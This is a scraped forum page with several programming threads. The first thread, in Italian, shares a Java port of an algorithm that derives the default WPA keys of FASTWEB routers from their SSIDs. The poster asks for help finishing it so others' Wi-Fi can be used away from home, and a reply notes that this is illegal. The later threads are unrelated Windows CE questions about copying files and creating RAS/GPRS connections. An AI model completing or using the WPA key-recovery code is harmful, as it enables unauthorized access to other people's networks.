WPA calculator Java port - Bada Software and Hacking General

WPA calculator Java port
Salve ho trovato girando per il web k si sta tentando la creazione di un'app in java che permetta di scovare la password di reti tramite wifi! Allego sotto i vari processi.. se a qualcuno interessa e mastica con i java si faccia avanti! GRAZIE!!
/**
* Attemts to write the WPA key generation algorithm in Java
* following the PHP code from evilsocket
*
* To debug this hexadecimal ****, you can use hexdump or, for
* binary mask use bc
*
* $ bc
* bc 1.06.95
* Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation, Inc.
* This is free software with ABSOLUTELY NO WARRANTY.
* For details type `warranty'.
* ibase=16
* obase=2
* 32
* 110010
*/
import java.io.StringWriter;
import java.io.ByteArrayOutputStream;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
public class wpa {
static boolean debug = true;
static byte[] seq_20 = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x22, 0x33, 0x11, 0x34, 0x02,(byte)0x81,
(byte)0xFA,0x22,0x11,0x41,0x68,0x11,0x12,
0x01,0x05,0x22,0x71,0x42,0x10,0x66
};
/**
* Returns a byte with size 1s from start (0-index).
*
* For example
* getMask(0, 8) return 0xff
* getMask(0, 1) return 0x01
* getMask(1, 1) return 0x02
* getMask(2, 1) return 0x04
* getMask(0, 5) return 0x20
*/
static private byte getMask(int start, int size) throws Exception {
byte mask = 0;
if ((start + size) > 8)
throw new Exception("Your mask is ****ing too big");
for (int cycle = start ; cycle < (start + size) ; cycle++)
mask |= 1 << cycle;
return mask;
}
static private byte[] MD5(byte[] msg, int size) throws NoSuchAlgorithmException {
MessageDigest digester = MessageDigest.getInstance("MD5");
digester.update(msg, 0, size);
return digester.digest();
}
public static void main(String[] args) {
String ssid = "FASTWEB-1-00036FD2B04C";
Integer test = new Integer(5);
String[] sn = ssid.split("-");
ssid = sn[2];
//System.out.println("" + ssid);
byte six[] = seq_20;
int cycle;
for (cycle = 0 ; cycle < 6 ; cycle++) {
six[cycle] = (byte)Integer.parseInt(
ssid.substring(2*cycle, 2*cycle + 2), 16);
if (debug)
System.out.write(six[cycle]);
}
byte[] md5 = null;
try {
if (debug)
System.out.write(six);
md5 = MD5(six, 26);
if (debug)
System.out.write(md5);
} catch(Exception e) {
System.out.println("PORCODIOOOO: " + e);
System.exit(1);
}
// calcolo i 5 byte formati da 5 bits a mano
byte[] five = new byte[5];
try {/**
* Quando i 5 bits provengono da due byte contigui
* succede che devi abbassare rispetto allo start
* del primo ed alzare il secondo della size del primo.
*
* FIXME:
* ((getMask(l, m) & md[a]) >> l) |
* (getMask((l + m) % 8, 5 - m) & md[a + 1] << m)
*
* java - Behaviour of unsigned right shift applied to byte variable - Stack Overflow
*/
// il primo byte è formato dagli ultimi 5 bits
// del primo byte
five[0] = (byte)((getMask(3, 5) & md5[0]) >>> 3);
// i primi 3 del primo e gli ultimi 2 del secondo
five[1] = (byte)(((getMask(0, 3) & md5[0]) << 2)
| ( ((getMask(6, 2) & md5[1]) & 0xff) >>> 6));
// i seguenti 5 bits del secondo (fino al primo)
five[2] = (byte)((getMask(1, 5) & md5[1]) >>> 1);
// il primo del secondo e gli ultimi 4 del terzo
five[3] = (byte)(((getMask(0, 1) & md5[1]) << 4)
| (((getMask(4, 4) & md5[2]) & 0xff) >>> 4));
// infine i primi 4 del terzo
// più l'ultimo del quarto
five[4] = (byte) (((getMask(0, 4) & md5[2]) << 1)
| (( (getMask(7, 1) & md5[3]) & 0xff) >>> 7));
} catch(Exception e) {
e.printStackTrace();
}
for (cycle = 0 ; cycle < 5 ; cycle++) {
five[cycle] =(byte)(
five[cycle] > (byte)0x0a ? five[cycle] + (byte)0x57 : five[cycle]);
}
if (debug) {
System.out.write(five[0]);
System.out.write(five[1]);
System.out.write(five[2]);
System.out.write(five[3]);
System.out.write(five[4]);
System.out.write(0x00);
System.out.write(md5[0]);
System.out.write((md5[1] & 0xff)>>> 6);
System.out.write(md5[2]);
System.out.flush();
}
String WPA = "";
for (cycle = 0 ; cycle < 5 ; cycle++) {
WPA += String.format("%02x", five[cycle]);
}
System.out.println(WPA);
}
}
Speriamo di riuscire in tutti a finire questa app perchè è sempre utile quando si è fuori casa e si deve controllare qualcosa sul web!!

Please we are not all Italian then respect English language !!!
We do effort to wright English but we aren't !!!
Then stop please posted too many thread !!
This is not a forum just for one specialist phone but its like Colosseum were all member's from all country read !!!

If you want to speak spanish or portugese or what ever language this is....Feel free to do it if you feel more comfortable...But always speak english first and then your language..Tirgrouzen said the rest...
I'm german...
what does this tool do? How can i use it?

Seems a copy-paste of an attempt to port to Java of an algorithm to decrypt a default wpa key used by the routers of specific providers.
Let me remind you that this action is illegal .

Attemts to write the WPA key generation algorithm in Java

Related

copied exe-file is not a valid application

Hi,
I have written a litte application (eMbedded Visual C++) for Pocket PC 2002
to copy an exe-file from the root-directory to the startmenu-directory.
It seems to work fine, but when I start the copied application (the exe-file) I get the message
"... is not a valid Pocket PC application"
What is wrong with this applcation?
Or does anyone know how to call Copy from an Pocket PC application directly?
Here is the code:
// Setup.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#define SOURCEFILE_NAME "\\banking.exe"
#define DESTINATIONFILE_NAME "\\Windows\\Start Menu\\banking.exe"
#define DESTINATIONFILE_NAME_GERMAN "\\Windows\\Startmenü\\banking.exe"
int WINAPI WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
BOOL german = FALSE;
FILE *file = 0;
FILE *rfile = 0;
rfile = fopen (SOURCEFILE_NAME, "rb");
if (!rfile)
{
MessageBox (0, TEXT("Error"), TEXT("Setup"), MB_TOPMOST);
return 1;
}
file = fopen (DESTINATIONFILE_NAME_GERMAN, "wb");
if (!file)
file = fopen (DESTINATIONFILE_NAME, "wb");
else
german = TRUE;
if (file)
{
char buffer [1000];
size_t num_read = 0;
size_t num_written = 0;
size_t num_read_tot = 0;
size_t num_written_tot = 0;
do
{
num_read = fread (buffer, sizeof (char), 1000, rfile);
if (feof(rfile))
break;
num_read_tot += num_read;
if (num_read > 0)
{
num_written= fwrite (buffer, sizeof (char), num_read, file);
num_written_tot += num_written;
}
else
break;
} while (1);
fclose (file);
}
fclose (rfile);
DWORD attr = 0;
BOOL rc = 0;
attr = GetFileAttributes (TEXT(SOURCEFILE_NAME));
if (german)
rc = SetFileAttributes (TEXT(DESTINATIONFILE_NAME_GERMAN), attr);
else
rc = SetFileAttributes (TEXT(DESTINATIONFILE_NAME), attr);
MessageBox (0, TEXT("Ready"), TEXT("Setup"), MB_TOPMOST);
return 0;
}
// END
Hello,
You are trying to reinvent the wheel by copying yourself the info from the file. Use the CopyFile function.
But your error
"... is not a valid Pocket PC application"
Click to expand...
Click to collapse
has probably appeared for another reason...
You should also look at SHFileOperation
It's not a good idea to copy *.exe files to start menu...
Create a shortcut with CECreateShortcut(...) instead.
If this is part of a application setup (in a cab file) just create the shortcut with the build in features:
...
[DefaultInstall]
...
CEShortcuts = Shortcuts
...
[Shortcuts]
BankingMenuText,0,banking.exe
...
John
John,
thank you for your comment.
Perhaps you ore someone else can tell me how to create a shortcut (for the banking.exe) from a Pocket PC - application ?
(The background is as follows:
I want to deliver my banking-application on SD-Card;
a little setup-application on the SD-Card copies the banking.exe from SD-Card into the program-directory of the Pocket PC.
And last but not least this setup-application shoult insert a shortcut for the copied banking.exe in the Start Menu.
OK,
cabwiz.exe does exactly the job.
One open question:
How can I achieve, that after executing the cab-file is N O T deleted?
Create Shortcut with SHCreateShortcut.
Not deleting cab file : mark it as read-only on the desktop (before copying) 8)

CREATE GPRS CONNECTION RasSetEntryProperties problem

Hi
I must create programmatically a new connection to a VPN network whit "Cellular Line (GPRS)".What's wrong in this code?
#include "stdafx.h"
#include <commctrl.h>
#include <aygshell.h>
#include <sipapi.h>
// (DEBUT) DECLARATIONS+PROTOTYPES CONCERNANT LES ENTREES RAS
// Code ajouté pour entrées RAS
#include "stdlib.h"
#include "tchar.h"
#include "windows.h"
// ----
#include "ras.h"
#include "raserror.h"
#include "tapi.h"
#ifndef TAPI_CURRENT_VERSION
#define TAPI_CURRENT_VERSION 0x00020000
#endif
#define TAPI_VERSION_1_0 0x00010003
#define TAPI_VERSION_3_0 0x00030000
LPVARSTRING lpDevCfg = NULL;
DWORD WINAPI GetDevCfg(DWORD dwLineId, HWND Hwnd, bool bShowDialog);
DWORD WINAPI RasEnumDev(LPWSTR lpstr);
DWORD WINAPI RasEnum(LPWSTR lpstr);
DWORD WINAPI test();
DWORD WINAPI CreateRasEntry(LPWSTR lpszName, LPWSTR lpszLogin, LPWSTR lpszPassword, LPWSTR lpszDeviceName);
DWORD GetConnectionStatus();
BOOLEAN showErr=TRUE; BOOLEAN debug=TRUE;
DWORD TraitementsRAS(); // SPECIFIQUE A CETTE APPLICATION
// (FIN) DECLARATIONS+PROTOTYPES CONCERNANT LES ENTREES RAS
// (DEBUT) DECLARATIONS+PROTOTYPES CONCERNANT LA BASE DE REGISTRES
#include "winreg.h"
DWORD WriteKey();
DWORD DeleteKey();
// (FIN) DECLARATIONS+PROTOTYPES CONCERNANT LA BASE DE REGISTRES
#define MAX_LOADSTRING 100
// Global Variables:
HINSTANCE hInst; // The current instance
HWND hwndCB; // The command bar handle
static SHACTIVATEINFO s_sai;
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
//RasEnum(_T(""));
// RasEnumDev(_T(""));
TraitementsRAS();
// test();
return TRUE;
}
DWORD WINAPI test(){
//RETAILMSG(1,(TEXT("start\r\n")));
RASENTRY RasEntry;
RASDIALPARAMS RasDialParams;
HRASCONN hRasConn=NULL;
DWORD dwSize;
DWORD dwError;
TCHAR szError[100];
TCHAR szMsg[100];
// Initialize the RASENTRY structure.
dwSize=sizeof(RasEntry);
memset (&RasEntry, 0, dwSize);
RasEntry.dwSize=dwSize;
RasEntry.dwfOptions=0;
wcscpy(RasEntry.szLocalPhoneNumber,TEXT("4"));
RasEntry.dwfNetProtocols=RASNP_Ip;
RasEntry.dwFramingProtocol=RASFP_Ppp;
wcscpy(RasEntry.szDeviceType,RASDT_Modem);
// Get the name of the modem, i left this function out...
//InitializeTAPI();
wcscpy(RasEntry.szDeviceName,_T("Cellular Line"));
// Create a new phone-book entry.
dwError=RasSetEntryProperties(NULL,
TEXT("entry"),&RasEntry,sizeof(RASENTRY),NULL,0);
if (dwError!=0)
{
wsprintf (szError, TEXT("Unable to create the phonebook entry!%ld\r\n"),dwError);
MessageBox(NULL, szError, _T("ERROR:GetDevCfg"), MB_OK);
//RETAILMSG(1,(szError));
return(0);
}
// Initialize the RASDIALPARAMS structure.
memset (&RasDialParams,0,sizeof(RasDialParams));
RasDialParams.dwSize=sizeof(RasDialParams);
wcscpy(RasDialParams.szEntryName,TEXT("entry"));
RasDialParams.szPhoneNumber[0]=NULL;
RasDialParams.szCallbackNumber[0]=NULL;
wcscpy(RasDialParams.szUserName,TEXT("testuser"));
wcscpy(RasDialParams.szPassword,TEXT("secret"));
wcscpy(RasDialParams.szDomain,TEXT("testdomain"));
// Change the connection data.
dwError=RasSetEntryDialParams (NULL, &RasDialParams, FALSE);
if (dwError!=0)
{
wsprintf (szError, TEXT("Unable to set the connection information.")
TEXT(" Error %ld\r\n"), dwError);
MessageBox(NULL, szError, _T("ERROR:GetDevCfg"), MB_OK);
//RETAILMSG(1,(szError));
return(0);
}
hRasConn = NULL;
DWORD dwRval;
dwRval=RasDial(NULL,NULL,&RasDialParams,0,NULL,&hRasConn);
if (dwRval!=0)
{
wsprintf(szMsg,TEXT("Error RasDial(): %ld\r\n"),dwRval);
MessageBox(NULL,szMsg, _T("ERROR:GetDevCfg"), MB_OK);
}
else
{
MessageBox(NULL,_T("RasDial ok!"), _T("ERROR:GetDevCfg"), MB_OK);
}
return(0);
}
DWORD WINAPI TraitementsRAS() {
DWORD ret;
TCHAR szMess[128];
wsprintf(szMess, _T("OK per lanciare la connessione Cancel per annullarla"));
int rep=MessageBox(NULL, szMess, _T("Connessione"), MB_OKCANCEL);
if (rep!=IDCANCEL) {
// OBTENTION DEVICE CONFIGURATION POUR dwLineID=1 (Modem IrDA générique) HKEY_LOC_MACH\DRIVERS\BUILTIN
ret=GetDevCfg(3,NULL,FALSE);
if ( (ret!=0) && (showErr==TRUE) ) {
wsprintf(szMess, _T("ret=%ld"), ret);
MessageBox(NULL, szMess, _T("ERROR:GetDevCfg"), MB_OK);
}
else {
if (debug==TRUE) {
wsprintf(szMess, _T("ret=%ld"), ret);
MessageBox(NULL, szMess, _T("DBG:GetDevCfg:OK"), MB_OK);
}
}
// RAS CREATE ENTRY
ret=CreateRasEntry(_T("RFI"),_T("pippo"),_T("pippo"), _T("Cellular Line (GPRS)"));
if ( (ret!=0) && (showErr==TRUE) ) {
wsprintf(szMess, _T("ret=%ld"), ret);
MessageBox(NULL, szMess, _T("ERROR:CreateRasEntry"), MB_OK);
}
else {
if (debug==TRUE) {
wsprintf(szMess, _T("ret=%ld"), ret);
MessageBox(NULL, szMess, _T("DBG:CreateRasEntry:OK"), MB_OK);
}
}
// PER RENDERE VISIBILE LA CONNESSIONE
WriteKey();
// RAS DIAL ENTRY
RASDIALPARAMS rasDialParam;
// Configure the RASDIALPARAMS structure.
rasDialParam.dwSize = sizeof (RASDIALPARAMS);
rasDialParam.szPhoneNumber[0] = TEXT('\0');
rasDialParam.szCallbackNumber[0] = TEXT('\0');
wcscpy (rasDialParam.szEntryName, _T("RFI"));
HRASCONN rasConn=NULL;
unsigned long connection;
ret=RasDial(NULL, NULL, &rasDialParam, NULL, NULL, &rasConn);
if ( (ret!=0) && (showErr==TRUE) ) {
wsprintf(szMess, _T("ret=%ld"), ret);
MessageBox(NULL, szMess, _T("ERROR:RasDial"), MB_OK);
}
else {
if (debug==TRUE) {
wsprintf(szMess, _T("ret=%ld"), ret);
MessageBox(NULL, szMess, _T("DBG:RasDial:OK"), MB_OK);
}
}
if (ret==0) {
connection = (unsigned long) rasConn;
wsprintf(szMess, _T("Cliquez sur OK lorsque vous voudrez déconnecter la borne infrarouge..."));
MessageBox(NULL, szMess, _T("JAHLIGHT CONNEXION INFRAROUGE"), MB_OK);
}
/*
ret=RasHangUp((HRASCONN) connection);
if ( (ret!=0) && (showErr==TRUE) ) {
wsprintf(szMess, _T("ret=%ld"), ret);
MessageBox(NULL, szMess, _T("ERROR:RasHangUp"), MB_OK);
}
else {
if (debug==TRUE) {
wsprintf(szMess, _T("ret=%ld"), ret);
MessageBox(NULL, szMess, _T("DBG:RasHangUp:OK"), MB_OK);
}
}
DeleteKey();
LPWSTR lpszEntry=_T("JAHLIGHT");
ret=RasDeleteEntry(NULL, lpszEntry);
if ( (ret!=0) && (showErr==TRUE) ) {
wsprintf(szMess, _T("RasDeleteEntry returned %ld"), ret);
MessageBox(NULL, szMess, _T("ERROR:RasDeleteEntry"), MB_OK);
}
else {
if (debug==TRUE) {
wsprintf(szMess, _T("ret=%ld"), ret);
MessageBox(NULL, szMess, _T("DBG:RasDeleteEntry:OK"), MB_OK);
}
}
*/
}
return 0;
}
DWORD WINAPI GetDevCfg(DWORD dwLineId, HWND Hwnd, bool bShowDialog)
{
DWORD dwErr = 0;
LPVARSTRING cfg = NULL;
WCHAR lpszString[20];
wcscpy(lpszString,_T("/0"));
if (!(cfg = (LPVARSTRING) LocalAlloc(LPTR, 280)))
{
return 1;
}
if (!(lpDevCfg = (LPVARSTRING) LocalAlloc(LPTR, 280)))
{
return 1;
}
cfg->dwTotalSize = 280;
cfg->dwStringFormat=STRINGFORMAT_BINARY;
lpDevCfg->dwTotalSize = 280;
lpDevCfg->dwStringFormat=STRINGFORMAT_BINARY;
if (bShowDialog)
{
dwErr = lineGetDevConfig(dwLineId, cfg, _T("tapi/line"));
dwErr = lineConfigDialogEdit(dwLineId, Hwnd , _T("tapi/line"),
(LPVOID)((LPBYTE)cfg + cfg->dwStringOffset),
cfg->dwNeededSize,
lpDevCfg);
}
else
{
dwErr = lineGetDevConfig(dwLineId, lpDevCfg, _T("tapi/line"));
}
return dwErr;
LocalFree(cfg);
}
void WINAPI RasHang(HRASCONN &connection)
{
if (connection == 0)
connection = NULL;
if (connection != NULL)
{
RasHangUp(connection);
connection = NULL;
}
else
MessageBox(NULL,_T("Pas de connexion active."),_T("Connexions"),MB_OK | MB_ICONWARNING);
}
DWORD WINAPI RasConnect(LPWSTR sName, DWORD &connection)
{
HRASCONN g_hRasConn = NULL;
RASDIALPARAMS rasDialParams;
DWORD dwRes;
BOOL bPassword;
rasDialParams.dwSize = sizeof(RASDIALPARAMS);
wcscpy(rasDialParams.szEntryName,sName);
dwRes = RasGetEntryDialParams(NULL, &rasDialParams, &bPassword);
if (dwRes != 0)
{
// Error getting Dial params
return dwRes;
}
if(!bPassword)
MessageBox(NULL,_T("Pas de mot de passe"),_T("Connexions"),MB_OK | MB_ICONINFORMATION);
dwRes = RasDial(NULL,NULL,&rasDialParams,0,NULL,&g_hRasConn);
if (dwRes != 0)
{
// Error Dialing RAS
RasHangUp(g_hRasConn);
g_hRasConn = NULL;
return dwRes;
}
connection = (unsigned long)g_hRasConn;
return dwRes;
}
DWORD WINAPI RasEnum(LPWSTR lpstr) {
LPRASENTRYNAME lpRasEntry = NULL;
RASENTRY RasEntry;
DWORD dwRes,dwError, dwSize, dwSize2, dwEntries, dw;
TCHAR szError[100];
WCHAR szTmp[255];
wcscpy(szTmp,_T(""));
lpRasEntry = new RASENTRYNAME[20];
if(lpRasEntry == NULL) {
return 1;
}
lpRasEntry[0].dwSize = sizeof(RASENTRYNAME);
dwSize = sizeof(RASENTRYNAME) * 20;
memset(&RasEntry,0,sizeof(RASENTRY));
dwSize2 = sizeof(RASENTRY);
RasEntry.dwSize = dwSize2;
dwRes = RasEnumEntries(NULL, NULL, lpRasEntry, &dwSize, &dwEntries);
if (dwRes != 0)
MessageBox(NULL,_T("Error getting RAS entries"),_T("Connexions"),MB_OK | MB_ICONWARNING);
else {
//for(dw = 0; dw < dwEntries; dw++) {
for(dw = 0; dw < 1; dw++) {
MessageBox(NULL,lpRasEntry[dw].szEntryName,_T("TEST"),MB_OK);
// Retrieve the entry properties
if (dwError = RasGetEntryProperties(NULL, lpRasEntry[dw].szEntryName, &RasEntry, &dwSize2, NULL, NULL)) {
wsprintf(szError, _T("Unable to read default entry properties.")_T(" Error %ld"),dwError);
MessageBox(NULL,szError,_T("RasGetEntryProperties Error"),MB_OK | MB_ICONWARNING);
}
else{
// RASIPADDR mio = RasEntry.ipaddr;
wsprintf(szError, _T("dwfOptions")_T(" Error %ld"),RasEntry.dwCountryCode);
MessageBox(NULL,szError,_T("TROVO"),MB_OK | MB_ICONWARNING);
// MessageBox(NULL,mio.a,_T("ipaddr"),MB_OK | MB_ICONWARNING);
//RASIPADDR
/*
wsprintf(szError, _T("dwFramingProtocol")_T(" Error %ld"),RasEntry.dwFramingProtocol);
MessageBox(NULL,szError,_T("TROVO"),MB_OK | MB_ICONWARNING);
wsprintf(szError, _T("dwAlternatesOffset")_T(" Error %ld"),RasEntry.dwAlternatesOffset);
MessageBox(NULL,szError,_T("TROVO"),MB_OK | MB_ICONWARNING);
wsprintf(szError, _T("dwFrameSize")_T(" Error %ld"),RasEntry.dwFrameSize);
MessageBox(NULL,szError,_T("TROVO"),MB_OK | MB_ICONWARNING);
wsprintf(szError, _T("dwfNetProtocols")_T(" Error %ld"),RasEntry.dwfNetProtocols);
MessageBox(NULL,szError,_T("TROVO"),MB_OK | MB_ICONWARNING);
MessageBox(NULL,RasEntry.szScript,_T("szScript"),MB_OK | MB_ICONWARNING);
MessageBox(NULL,RasEntry.szAutoDialDll,_T("szAutoDialDll"),MB_OK | MB_ICONWARNING);
MessageBox(NULL,RasEntry.szAutoDialFunc,_T("szAutoDialFunc"),MB_OK | MB_ICONWARNING);
MessageBox(NULL,RasEntry.szDeviceType,_T("szDeviceType"),MB_OK | MB_ICONWARNING);
MessageBox(NULL,RasEntry.szDeviceName,_T("szDeviceName"),MB_OK | MB_ICONWARNING);
MessageBox(NULL,RasEntry.szX25PadType,_T("szX25PadType"),MB_OK | MB_ICONWARNING);
MessageBox(NULL,RasEntry.szAutoDialFunc,_T("szAutoDialFunc"),MB_OK | MB_ICONWARNING);
wsprintf(szError, _T("dwChannels")_T(" Error %ld"),RasEntry.dwChannels);
MessageBox(NULL,szError,_T("TROVO"),MB_OK | MB_ICONWARNING);
*/
}
wcscat(szTmp,lpRasEntry[dw].szEntryName);
wcscat(szTmp,_T("\n"));
}
wcscpy(lpstr,szTmp);
}
delete [] lpRasEntry;
return dwRes;
}
DWORD WINAPI RasEnumDev(LPWSTR lpstr) {
DWORD lpcb = 0 , lpcDevices, nRet, dw;
WCHAR szTmp[255];
LPRASDEVINFOW lpRasDevInfo = NULL;
RasEnumDevices(lpRasDevInfo, &lpcb, &lpcDevices);
lpRasDevInfo = (LPRASDEVINFOW) GlobalAlloc(GPTR, lpcb);
lpRasDevInfo->dwSize = sizeof(RASDEVINFOW);
nRet = RasEnumDevices(lpRasDevInfo, &lpcb, &lpcDevices);
/* debug only
// convert long to string
_ltow(lpcDevices, szTmp, 10);
MessageBox(NULL,szTmp,_T("Connexions"),MB_OK | MB_ICONWARNING);
*/
// initialisation de la variable temporaire szTmp
wcscpy(szTmp,_T(""));
if (nRet !=0) {
MessageBox(NULL,_T("RasEnumDevices failed"),_T("Connexions"),MB_OK | MB_ICONWARNING);
}
else {
for (dw = 0; dw < lpcDevices; dw++) {
wcscat(szTmp, lpRasDevInfo->szDeviceName);
wcscat(szTmp,_T("\n"));
MessageBox(NULL,szTmp,_T("Connexions"),MB_OK | MB_ICONWARNING);
lpRasDevInfo++;
}
wcscpy(lpstr,szTmp);
}
return nRet;
}
DWORD WINAPI CreateRasEntry(LPWSTR lpszName, LPWSTR lpszLogin, LPWSTR lpszPassword, LPWSTR lpszDeviceName) {
DWORD dwSize,
dwDevInfo = 280 /* 128 */,
dwError = 0;
//PDEVCFG pDevCfg;
TCHAR szError[100];
RASENTRY RasEntry;
RASIPADDR ipaddrDns ;
ipaddrDns.a = 145;
ipaddrDns.b = 130;
ipaddrDns.c = 233;
ipaddrDns.d = 10;
RASDIALPARAMS RasDialParams;
// Validate the format of a connection entry name
//
if (dwError = RasValidateEntryName(NULL, lpszName)) {
wsprintf(szError, _T("Unable to validate entry name.")_T(" Error %ld"),dwError);
MessageBox(NULL,szError,_T("Create Entry"),MB_OK | MB_ICONWARNING);
return dwError;
}
// initialize the RASENTRY structure
//
memset(&RasEntry,0,sizeof(RASENTRY));
dwSize = sizeof(RASENTRY);
RasEntry.dwSize = dwSize;
// Retrieve the entry properties
if (dwError = RasGetEntryProperties(NULL, _T(""), &RasEntry, &dwSize, NULL, NULL)) {
wsprintf(szError, _T("Unable to read default entry properties.")_T(" Error %ld"),dwError);
MessageBox(NULL,szError,_T("Create Entry"),MB_OK | MB_ICONWARNING);
return dwError;
}
// Fill the RASENTRY structure
//
// _tcscpy(RasEntry.szAreaCode, _T("\0"));
RasEntry.dwCountryID=(DWORD) 0;
// RasEntry.dwCountryCode = (DWORD) 0;
//_tcscpy(RasEntry.szAreaCode, lpszAreaCode);
RasEntry.dwCountryCode = (DWORD) 0;
_tcscpy(RasEntry.szLocalPhoneNumber, _T("~GPRS!rfi.tim.it"));
_tcscpy(RasEntry.szDeviceType, RASDT_Modem);
//_tcscpy(RasEntry.szDeviceName, _T("GSM Modem on COM2:"));
_tcscpy(RasEntry.szDeviceName, lpszDeviceName);
// RasEntry.dwfOptions = RASEO_UseCountryAndAreaCodes;
RasEntry.dwfOptions = RASEO_SpecificNameServers ;
RasEntry.dwAlternatesOffset=(DWORD) 1;
RasEntry.ipaddrDns = ipaddrDns;
RasEntry.dwfNetProtocols = (DWORD) 4;
RasEntry.dwFramingProtocol=RASFP_Ppp;
//memcpy( &(RasEntry.ipaddrDns), &RasEntry, sizeof( RASIPADDR ) );
// Create a new phone-book entry.
if (dwError = RasSetEntryProperties(NULL, lpszName, &RasEntry,sizeof(RASENTRY), (LPBYTE)lpDevCfg + lpDevCfg->dwStringOffset, lpDevCfg->dwStringSize)) {
//wsprintf(szError, _T("Unable to create the phone-book entry.")_T(" Error %ld"),dwError);
//MessageBox(NULL,szError,_T("Create Entry"),MB_OK | MB_ICONWARNING);
LocalFree(lpDevCfg);
return dwError;
}
LocalFree(lpDevCfg);
// Initialize a RASDIALPARAMS structure
//
memset(&RasDialParams,0,sizeof(RASDIALPARAMS));
RasDialParams.dwSize = sizeof(RASDIALPARAMS);
_tcscpy(RasDialParams.szEntryName, lpszName);
// Insert code here to fill up the RASDIALPARAMS structure
// RasDialParams.szPhoneNumber, lpszPhoneNumber;
// RasDialParams.szCallbackNumber[0], _T("\0");
RasDialParams.szPhoneNumber[0]=NULL;
RasDialParams.szCallbackNumber[0]=NULL;
wcscpy(RasDialParams.szUserName,lpszLogin);
wcscpy(RasDialParams.szPassword,lpszPassword);
wcscpy(RasDialParams.szDomain,TEXT("rfi.tim.it"));
// _tcscpy(RasDialParams.szUserName, lpszLogin);
// _tcscpy(RasDialParams.szPassword, lpszPassword);
// Change the connection data
//
if (dwError = RasSetEntryDialParams(NULL, &RasDialParams, FALSE)) {
//wsprintf(szError, _T("Unable to create the phone-book entry.")_T(" Error %ld"),dwError);
//MessageBox(NULL,szError,_T("Create Entry"),MB_OK | MB_ICONWARNING);
return dwError;
}
return dwError;
}
// ----------------------------------------------------------------
// (FIN) FONCTIONS CONCERNANT LA CREATION/DESTRUCTION D'ENTREES RAS
// ----------------------------------------------------------------
// -------------------------------------------------
// (DEBUT) FONCTIONS CONCERNANT LA BASE DE REGISTRES
// -------------------------------------------------
DWORD WriteKey()
{
//{ADB0B001-10B5-3F39-27C6-9742E785FCD4} = DestId (param internet)
//{18AD9FBD-F716-ACB6-FD8A-1965DB95B814} (param travail)
HKEY RegKey;
DWORD dwDisposition;
// Ouverture de la clé racine HKCU/Software
// if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\ConnMgr\\Providers\\{7C4B7A38-5FF7-4bc1-80F6-5DA7870BB1AA}\\Connections"), 0, 0, &RegKey)==ERROR_SUCCESS)
if (RegCreateKeyEx (HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\ConnMgr\\Providers\\{7C4B7A38-5FF7-4bc1-80F6-5DA7870BB1AA}\\Connections"), 0, TEXT(""), 0, 0, NULL, &RegKey,
&dwDisposition)==ERROR_SUCCESS)
{
HKEY WorkKey;
DWORD dwDisposition;
// Création ou ouverture de la clé MyRegistryKey
if (RegCreateKeyEx (RegKey, TEXT("RFI"), 0, TEXT(""), 0, 0, NULL, &WorkKey,
&dwDisposition)==ERROR_SUCCESS)
{
TCHAR Key[32], Value[64];
wsprintf (Key, TEXT("DestId"));
wsprintf (Value, TEXT("{ADB0B001-10B5-3F39-27C6-9742E785FCD4}"));
RegSetValueEx (WorkKey, Key, 0, REG_SZ, (BYTE *)Value, lstrlen(Value)*sizeof(TCHAR));
DWORD dwValue;
wsprintf(Key, TEXT("RequirePw"));
dwValue=1;
RegSetValueEx (WorkKey, Key, 0, REG_DWORD, (BYTE *)&dwValue, sizeof(DWORD));
wsprintf(Key, TEXT("Enabled"));
dwValue=1;
RegSetValueEx (WorkKey, Key, 0, REG_DWORD, (BYTE *)&dwValue, sizeof(DWORD));
wsprintf(Key, TEXT("EntryType"));
dwValue=0;
RegSetValueEx (WorkKey, Key, 0, REG_DWORD, (BYTE *)&dwValue, sizeof(DWORD));
RegCloseKey(WorkKey);
if (debug==TRUE)
{
MessageBox(NULL, _T("RAS entry added in registry."), _T("DBG:RegCreateKeyEx"), MB_OK);
}
}
else
{
if (showErr==TRUE)
{
MessageBox(NULL, _T("Error while adding RAS entry in registry"), _T("ERROR:RegCreateEntryEx"), MB_OK);
}
}
RegCloseKey(RegKey);
}
return 0;
}
DWORD DeleteKey()
{
//{ADB0B001-10B5-3F39-27C6-9742E785FCD4} = DestId (param internet)
//{18AD9FBD-F716-ACB6-FD8A-1965DB95B814} (param travail)
DWORD ret=NULL;
ret=RegDeleteKey(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\ConnMgr\\Providers\\{7C4B7A38-5FF7-4bc1-80F6-5DA7870BB1AA}\\Connections\\RFI"));
if (ret==ERROR_SUCCESS)
{
if (debug==TRUE)
{
MessageBox(NULL, _T("Key successfully deleted."), _T("JAHLIGHT IR connect"), MB_OK);
}
}
else
{
if (showErr==TRUE)
{
TCHAR szMess[128];
if (ret!=87) wsprintf(szMess, _T("ERROR: Key not deleted, Error code=%ld"), ret);
else wsprintf(szMess, _T("RegDeleteKey:ERROR_INVALID_PARAMETER"));
MessageBox(NULL, szMess, _T("ERROR:RegDeleteKey"), MB_OK);
}
}
return 0;
}
// -------------------------------------------------
// (FIN) FONCTIONS CONCERNANT LA BASE DE REGISTRES
// -------------------------------------------------
Thank's in advance
CREATE RAS ENTRY
Why don't work :? :? :? :? :?
DWORD WINAPI CreateRasEntry(LPWSTR lpszName, LPWSTR lpszLogin, LPWSTR lpszPassword) {
DWORD dwSize,
dwDevInfo = 280 /* 128 */,
dwError = 0;
//PDEVCFG pDevCfg;
TCHAR szError[100];
RASENTRY RasEntry;
RASIPADDR ipaddrDns ;
RASDIALPARAMS RasDialParams;
// Validate the format of a connection entry name
//
if (dwError = RasValidateEntryName(NULL, lpszName)) {
return dwError;
}
// initialize the RASENTRY structure
//
memset(&RasEntry,0,sizeof(RASENTRY));
dwSize = sizeof(RASENTRY);
RasEntry.dwSize = dwSize;
// Retrieve the entry properties
